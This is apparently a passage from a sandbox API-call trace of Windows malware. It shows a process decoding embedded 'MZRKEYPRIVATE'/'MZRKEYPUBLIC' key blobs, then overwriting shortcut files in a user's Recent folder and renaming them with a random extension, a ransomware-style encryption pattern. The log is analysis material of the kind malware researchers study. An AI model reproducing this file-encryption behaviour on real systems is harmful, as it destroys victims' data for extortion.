KBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0083.784] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0083.785] GetCurrentThreadId () returned 0xa30 [0083.785] GetCurrentThreadId () returned 0xa30 [0083.785] GetCurrentThreadId () returned 0xa30 [0083.786] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0083.786] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0083.786] GetCurrentThreadId () returned 0xa30 [0083.786] GetCurrentThreadId () returned 0xa30 [0083.786] GetCurrentThreadId () returned 0xa30 [0083.786] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UlHqKtcLSUiNQM.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ulhqktclsuinqm.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.787] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0083.787] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.787] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x1992 [0083.787] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.787] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x1992, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x1992, lpOverlapped=0x0) returned 1 [0083.789] CloseHandle (hObject=0x124) returned 1 [0083.789] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UlHqKtcLSUiNQM.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ulhqktclsuinqm.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.791] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x1992, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x1992, lpOverlapped=0x0) returned 1 [0083.793] CloseHandle (hObject=0x124) returned 1 [0083.795] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UlHqKtcLSUiNQM.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ulhqktclsuinqm.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UlHqKtcLSUiNQM.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ulhqktclsuinqm.lnk.zv7un")) returned 1 [0083.796] GetCurrentThreadId () returned 0xa30 [0083.796] GetCurrentThreadId () returned 0xa30 [0083.796] GetCurrentThreadId () returned 0xa30 [0083.797] GetCurrentThreadId () returned 0xa30 [0083.797] GetCurrentThreadId () returned 0xa30 [0083.797] GetCurrentThreadId () returned 0xa30 [0083.797] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1ca5dc0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1ca5dc0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1ca5dc0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3a9, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="upgu6XAw0nd8_3Lb5i.lnk", cAlternateFileName="UPGU6X~1.LNK")) returned 1 [0083.797] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0083.797] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0083.797] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\upgu6XAw0nd8_3Lb5i.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\upgu6xaw0nd8_3lb5i.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1ca5dc0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1ca5dc0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1ca5dc0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3a9)) returned 1 [0083.797] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\upgu6XAw0nd8_3Lb5i.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\upgu6xaw0nd8_3lb5i.lnk")) returned 0x20 [0083.797] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\upgu6XAw0nd8_3Lb5i.lnk", dwFileAttributes=0x80) returned 1 [0083.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0083.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH